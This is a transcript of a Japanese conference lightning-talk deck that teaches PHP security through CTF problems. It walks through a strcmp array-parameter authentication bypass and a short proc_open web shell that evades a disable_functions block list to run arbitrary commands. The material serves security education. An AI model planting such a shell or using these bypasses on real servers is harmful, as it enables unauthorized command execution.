Upgrade to Pro — share decks privately, control downloads, hide ads and more …

CTFで学ぶPHPセキュリティ

 CTFで学ぶPHPセキュリティ

PHPerKaigi 2019
ルーキーズLT

Ryoto Saito

March 31, 2019
Tweet

More Decks by Ryoto Saito

Other Decks in Programming

Transcript

  1. CTFで学ぶ
    PHPセキュリティ
    2019/3/31
    PHPerKaigi ルーキーズLT
    Ryoto (@systemctl_ryoto)
    1

    View Slide

  2. CTF - Capture the Flag
    2

    View Slide

  3. CTF
    Capture the Flag
    ● FPSのゲームルール
    の1種
    ● 敵陣のフラッグを自陣
    に持ち帰る
    ● 由来は物理的な遊び
    ● 転じて…
    3

    View Slide

  4. CTF
    Capture
    the Flag
    ● 情報セキュリティ的に脆弱な
    「何か」が用意される
    ● その脆弱性を突いてFlagを取得
    する競技
    ※ Flag = 仮想的な機密文字列
    flag{PHP_is_s3cur3!}
    ↑過去に本当に見たことあるやつ
    ● 問題ベースで楽しくセキュリティ
    が勉強できる!
    ● 徳丸さんの挑戦状もCTF
    4

    View Slide

  5. PHPer
    チャレンジ

    シェルを
    奪えます
    ls -al /もmysqldumpも実行できる
    5

    View Slide

  6. CTFの
    主要な
    ジャンル
    厳密な分類は大会やサイトによって
    微妙に異なる
    6
    Pwn プログラムの脆弱性を突く
    Reverse リバースエンジニアリング
    Forensic パケットやFile systemなど
    Crypto 暗号解読
    Web クライアントからサーバまで

    View Slide

  7. Webの
    CTF
    情報セキュリティ的に脆弱な「何か」
    ● 「Webサイト」
    ● 「ソースコード」
    どこが脆弱かはもちろん、どこにFlag
    があるのかがわからないことも
    たのしい謎解きの始まり
    7

    View Slide

  8. CTFのPHP問題例
    - 実際の問題の一部分 -
    8

    View Slide

  9. 前提:パスワード認証のソースを入手した
    include "define.php"; /* 403 Forbidden */
    if (strcmp($_GET['password'], PASSWORD) == 0) {
    echo FLAG;
    }
    目標:なんとか突破したい!
    言語仕様に関する問題
    9

    View Slide

  10. 前提:パスワード認証のソースを入手した
    include "define.php"; /* 403 Forbidden */
    if (strcmp($_GET['password'], PASSWORD) == 0) {
    echo FLAG;
    }
    目標:なんとか突破したい!
    言語仕様に関する問題
    10

    View Slide

  11. 言語仕様に関する問題
    11

    View Slide

  12. 言語仕様に関する問題
    12

    View Slide

  13. 言語仕様に関する問題
    13
    if (strcmp($_GET['password'], PASSWORD) == 0)
    strcmpは配列や関数などを受け取るとnull+Warningを返す)
    http://localhost/dump.php?password[]=admin にアクセス↓
    array(1) { ["password"] => array(1) { [0] => string(5)
    "admin" } }

    View Slide

  14. include "define.php"; /* 403 Forbidden */
    if (strcmp($_GET['password'], PASSWORD) == 0) {
    echo FLAG;
    }
    目標:なんとか突破したい!
    先ほどのヒントを踏まえると…
    言語仕様に関する問題
    14

    View Slide

  15. include "define.php"; /* 403 Forbidden */
    if (strcmp($_GET['password'], PASSWORD) == 0) {
    echo FLAG;
    }
    目標:なんとか突破したい!
    Ans: http://target.host/?password[]=
    言語仕様に関する問題
    15

    View Slide

  16. 前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚
    disable_functions
    pcntl_exec, exec, popen, passthru, shell_exec, system
    目的:シェルを奪いたい!(任意コマンドを実行したい)
    任意コード実行
    16

    View Slide

  17. (注:shell_execと等価なので`cmd`はダメ)
    任意コード実行
    17

    View Slide

  18. pcntl_exec, exec, popen, passthru, shell_exec, system...
    proc_open関数がノーマーク
    任意コード実行
    18

    View Slide

  19. pcntl_exec, exec, popen, passthru, shell_exec, system...
    proc_open関数がノーマーク
    前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚
    目的:シェルを奪いたい!(任意コマンドを実行したい)
    任意コード実行
    19

    View Slide

  20. Ans. 以下のPHPファイルをアップロード
    $cmd = $_GET['cmd']
    $process = proc_open($cmd, [1=>["pipe", "w"]], $pipes);
    echo stream_get_contents($pipes[1]);
    これを1回アップロードすれば?cmd=...でやりたい放題
    任意コード実行
    20

    View Slide

  21. CTFに興味が湧いてきた人は!
    21

    View Slide

  22. やってみよう!
    22
    常設CTF(Web・PHP問題が入門から充実している)
    ● https://www.root-me.org/en/Challenges/Web-Server/
    ● http://websec.fr/
    ※ 垢登録するときは捨てパスワードを使いましょう
    慣れたらコンテストに参加!
    ● https://ctftime.org

    View Slide

  23. 困ったときは
    23
    CTFでは解答例のことを
    Write-up
    と呼びます。
    考えてもわからなかったら答えを探すのもあり!
    ("Write-up"で検索して問題を探す荒技もあり)

    View Slide

  24. Thank you!
    @systemctl_ryoto
    24

    View Slide